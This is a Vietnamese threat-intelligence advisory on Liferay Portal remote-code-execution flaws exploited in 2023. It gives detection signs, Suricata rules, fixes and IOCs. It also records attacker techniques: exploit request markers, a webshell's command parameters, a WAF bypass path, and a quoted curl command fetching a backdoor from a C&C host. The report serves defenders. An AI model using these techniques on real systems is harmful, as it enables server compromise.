Các lỗ hổng bảo mật được khai thác nhiều trong 6 tháng đầu năm 2023 - Phần 1

Tuyên bố miễn trừ trách nhiệm

Báo cáo này được cung cấp với mục đích duy nhất là chia sẻ thông tin và không có bất kỳ sự cam kết nào, rõ ràng hay ngụ ý, về tính chính xác, độ tin cậy hoặc tính phù hợp cho bất kỳ mục đích cụ thể nào khác. Tác giả không chịu trách nhiệm về bất kỳ thiệt hại trực tiếp hoặc gián tiếp nào phát sinh từ việc sử dụng hoặc tham khảo thông tin trong báo cáo này. Mọi quyết định hoặc hành động dựa trên nội dung của báo cáo là trách nhiệm của người đọc. Báo cáo có sử dụng một số thông tin thu được trong quá trình cung cấp dịch vụ của Viettel Cyber Security và tham khảo thông tin của một số báo cáo khác.

Trong quá trình giám sát nguy cơ trên không gian mạng, giai đoạn đầu năm 2023 Viettel Threat Intelligence ghi nhận rất nhiều cuộc tấn công lợi dụng các lỗ hổng nghiêm trọng trên các sản phẩm phổ biến được sử dụng để làm làm bàn đạp cho các nhóm tin tặc bước đầu xâm phạm hệ thống và thực thi các hành vi độc hại tiếp theo.

Thống kê tỉ lệ các lỗ hổng được sử dụng trong các chiến dịch tấn công trong thực tế trong giai đoạn này:

Có thể thấy chiếm phần lớn tỉ lệ là các lỗ hổng tồn tại trong mã nguồn trang web (Unsafe File Upload, SQL injection, Path Traversal, Logic, Broken Access Control, …), đi kèm với đó các nhóm tấn công cũng sử dụng các lỗ hổng nghiêm trọng từ các năm trước trên các sản phẩm phổ biến. Nổi bật nhất trong số này với tỉ lệ lớn (tổng chiếm tới 43%) có thể kể tới các lỗ hổng CVE-2020-7961 + CVE-2019-16891, CVE-2019-18935 + CVE-2017-9248 hay CVE-2022-41040 + CVE-2022-41082. Nguyên nhân là các tổ chức sử dụng các sản phẩm này vẫn chưa thực hiện cập nhật bản vá hay các biện pháp khắc phục cho các lỗ hổng nghiêm trọng này. Đây là một mục tiêu ưa thích của các nhóm tấn công trong thực tế.

Dưới đây là thông tin của một số lỗ hổng tiêu biểu được sử dụng nhiều trong các chiến dịch tấn công trong giai đoạn đầu năm 2023.

Mã CVE

Tên lỗ hổng

Loại lỗ hổng

Mức độ

CVE-2020-7961 | CVE-2019-16891

Các lỗ hổng thực thi mã từ xa trên Liferay Portal

Remote Code Excution

Nghiêm Trọng

CVE-2019-18935 | CVE-2017-9248

Các lỗ hổng thực thi mã từ xa trên Telerik UI dành cho ASP.NET AJAX

Remote Code Excution

Nghiêm Trọng

CVE-2022-41040 | CVE-2022-41082

Các lỗ hổng thực thi mã từ xa trên Microsoft Exchange Server

 

Remote Code Excution

Nghiêm Trọng

Viettel Threat Intelligence sẽ đưa ra các thông tin chi tiết liên quan về các lỗ hổng này, dấu hiệu nhận biết, biện pháp khắc phục cũng như một số hành vi, phương thức tin tặc sử dụng trong các chiến dịch tấn công trong thực tế.

I. CVE-2020-7961 và CVE-2019-16891: Các lỗ hổng thực thi mã từ xa trên Liferay

Liferay - giải pháp "Cổng thông tin điện tử" phổ biến dành cho các cơ quan, tổ chức, doanh nghiệp được sử dụng nhiều tại Việt Nam và trên thế giới.

1. CVE-2019-16891

Điều kiện tiên quyết:

-      Với hệ thống có tính năng Portlet URL được bật, tin tặc không cần xác thực để khai thác lỗ hổng.

-      Với hệ thống có tính năng Portlet URL đã tắt, tin tặc vẫn có thể khai thác lỗ hổng tuy nhiên cần xác thực trước đó.

-      Lưu ý, Portel URL được tắt theo mặc định.

Thông tin chi tiết:

Lỗ hổng CVE-2019-16891 xảy ra do Liferay không thực hiện kiểm tra an toàn trước khi deserialize (giải tuần tự hóa) dữ liệu định dạng JSON dẫn đến tin tặc có thể thực thi mã tùy ý trên máy chủ với quyền của ứng dụng Liferay. Tin tặc không cần xác thực có thể lợi dụng lỗ hổng này để chiếm quyền điều khiển máy chủ, thực hiện hành vi lây nhiễm phát tán mã độc.

-      Phiên bản ảnh hưởng: Liferay Portal các phiên bản 6.1.x , 6.2.x, 7.0.x, 7.1.x

-      Mức độ: Nghiêm Trọng.

Dấu hiệu nhận biết:

- Để nhận biết hệ thống tồn tại lỗ hổng hay không, quản trị viên vui lòng truy cập endpoint /c/portal/portlet_url phương thức GET. Nếu phản hồi có trạng thái 200 thì hệ thống tồn tại lỗ hổng.

- Gói tin tin tặc sử dụng để khai thác lỗ hổng mà không cần xác thực có các dấu hiệu sau:

· Truy vấn HTTP phương thức POST.

· Truy vấn đến endpoint “/c/portal/portlet_url”

· Trong phần thân truy vấn có chứa chuỗi “parameterMap=” (Ngay sau dấu “=” là phần dữ liệu JSON độc hại để deserialize)

Ví dụ về truy vấn khai thác lỗ hổng:

Hình 1. Ví dụ về truy vấn khai thác lỗ hổng CVE-2019-16891 (Nguồn Viettel Threat Intelligence)

Rule Detection:

Suricata:

alert http any any -> any any (msg:"Detecting CVE-2019-16891 exploit"; flow:to_server; content:"POST"; http_method; content:"/c/portal/portlet_url"; startswith; http_uri; content:"parameterMap"; http_client_body; metadata: author by Viettel Cyber Security; classtype:web-application-attack; sid:20191035; rev:1;)

Biện pháp khắc phục:

-      Cập nhật Liferay Portallên phiên bản 7.2.0 hoặc các phiên bản mới hơn.

-      Hướng dẫn áp dụng bản vá an toàn thông tin tại trang web của nhà phát hành sản phẩm: https://portal.liferay.dev/learn/security/patching.

-      Sử dụng WAF/IDS/IPS chặn các truy vấn HTTP có dấu hiệu ở trên.

2. CVE-2020-7961

Thông tin chi tiết:

Lỗ hổng CVE-2020-7961 xảy ra do Liferay Portal không xử lý an toàn khi deserialize dữ liệu truyền vào từ người dùng qua API xử lý dữ liệu JSON dẫn đến tin tặc có thể thực thi mã tùy ý trên máy chủ. Tin tặc có thể khai thác lỗ hổng mà không cần đăng nhập ứng dụng.

- Phiên bản ảnh hưởng: Liferay Portal nằm trong số các phiên bản từ 6.1 đến 7.2.0.

- Mức độ: Nghiêm Trọng.

Kịch bản tấn công:

Hình 2. Kịch bản khai thác lỗ hổng CVE-2020-7961(Nguồn Viettel Threat Intelligence)

Dấu hiệu nhận biết:

- Gói tin tin tặc sử dụng khai thác lỗ hổng có các dấu hiệu sau:

· Truy vấn HTTP phương thức POST.

· Địa chỉ URL có chứa chuỗi ký tự "/api/jsonws/" (thường là "/api/jsonws/expandocolumn/add-column"hoặc /api/jsonws/expandocolumn/update-column").

· Nội dung truy vấn có chứa chuỗi ký tự "defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3A" (ngay phía sau chuỗi ký tự này là mã khai thác ở dạng serialize, bắt đầu bằng "aced").

Ví dụ về truy vấn khai thác lỗ hổng:

Hình 3. Ví dụ về truy vấn khai thác lỗ hổng CVE-2020-7961(Nguồn Viettel Threat Intelligence)

Rule Detection:

Suricata:

alert http any any -> any any (msg:"Detecting CVE-2020-7961 exploit"; flow:to_server; content:"POST"; http_method; content:"/api/jsonws/"; startswith; http_uri; content:"defaultData"; content:"userOverridesAsString"; content:"HexAsciiSerializedMap"; http_client_body; metadata: author by Viettel Cyber Security; classtype:web-application-attack; sid:20207961; rev:1;)

Biện pháp khắc phục:

Quản trị viên có thể thực hiện một trong các giải pháp sau để khắc phục lỗ hổng CVE-2020-7961:

- Cập nhật Liferay Portal lên phiên bản 7.2.1 (7.2 CE GA2) hoặc mới hơn.

- Hướng dẫn áp dụng bản vá an toàn thông tin tại trang web của nhà phát hành sản phẩm: https://portal.liferay.dev/learn/security/patching.

- Tạm thời vô hiệu hóa JSON web service bằng cách đặt thuộc tính jsonws.servlet.hosts.allowed=Not/Available trong tệp portal.property.    
Quản trị viên cũng có thể ghi đè thuộc tính trên mà không cần chỉnh sửa tệp portal.property bằng cách thêm dòng jsonws.servlet.hosts.allowed=Not/Available vào tệp /[thư mục gốc của Liferay Portal]/portal-ext.properties (cần tạo tệp nếu tệp này chưa tồn tại).

- Giải pháp tức thời (có thể gây ảnh hưởng đến hoạt động bình thường của ứng dụng): cấu hình WAF/IDS/IPS chặn các truy vấn HTTP với địa chỉ URL chứa chuỗi "/api/jsonws/" tới Liferay Portal.

Truy vấn độc hại khai thác lỗ hổng trong một chiến dịch tấn công trong thực tế đã được Viettel Threat Intelligence ghi nhận.

Hình 4. Truy vấn khai thác CVE-2020-7961 được tin tặc sử dụng trong thực tế (Nguồn: Viettel Threat Intelligence)

Trong các chiến dịch tấn công khai thác lỗ hổng này, tin tặc thường tải lên webshell để thuận tiện thực hiện các hành vi độc hại sau này.

Hình 5. Một mã nguồn của webshell được sử dụng trong thực tế (Nguồn: Viettel Threat Intelligence)

Webshell có chức năng nhận lệnh thông qua tham số “pass”. nếu tham số "pass" được truyền vào trang web, kẻ tấn công có thể thực hiện một số lệnh cụ thể thông qua biến "cmd" và tải xuống một tập tin bất kỳ từ máy chủ web thông qua các tham số "k1" và "k2". Sau đó, kẻ tấn công có thể ghi tập tin đó vào ổ đĩa trên máy chủ thông qua FileOutputStream.

Ngoài 2 lỗ hổng trên, Viettel Threat Intelligence cũng ghi nhận các trường hợp khai thác nhắm vào Liferay thông qua lỗ hổng cho phép tải lên tệp mà không cần xác thực thông qua endpoint: “/api/liferay*” với phương thức “POST”. Đây là lỗ hổng Liferay CE Portal Java Deserialization.

Hình 6. Tin tặc khai thác lỗ hổng Liferay CE Portal Java Deserialization (Nguồn: Viettel Threat Intelligence)

Có thể thấy sau khi bị chặn truy vấn tới endpoint “/api/liferay” tin tặc đã bypass bằng việc truy vấn ““/api/liferay;.CSS1111” và thành công với trạng thái phản hồi 200.

Một điểm chung trong các chiến dịch tấn công này sau khi cài đặt được webshell trên hệ thống, tin tặc thường kết nối tới C&C độc hại để tải xuống mã độc, backdoor, và các phần mềm độc hại khác để cài đặt lên hệ thống mục tiêu.

Một công cụ được kẻ tấn công sử dụng để tạo webshell mà Viettel Threat Intelligence ghi nhận trong thực tế:

· https://github[.]com/AntSwordProject

Hình 7. Mã nguồn webshell được sử dụng trong thực tế (Nguồn: Viettel Threat Intelligence)

Ví dụ về một trường hợp kết nối tới C&C và thực thi các hành động độc hại bằng công cụ curl để download mã độc backdoor trong thực tế. Câu lệnh được tin tặc sử dụng:

· curl http://47[.]57.246.12/vn -o /tmp/vn

IOCs

C&C:

· 14[.]225.255.20

· 110[.]137.36.180

· 149[.154.161.200

· 47[.]57.246.12

· 103[.]116.14.39

· 47[.]57.246.12

· 20[.]255.58.80

· 180[.]188.198.244

· os[.]bd-static.com

Hash:

·9C517E2CEC5E94EEA0BA5519545FBD0DD1986793B1645734343EC5F038222B7A

·A4D6FCD0B0852E7DD4B304A35A11B920FD51EAB3A15FFC9C7F480BEF479B5A73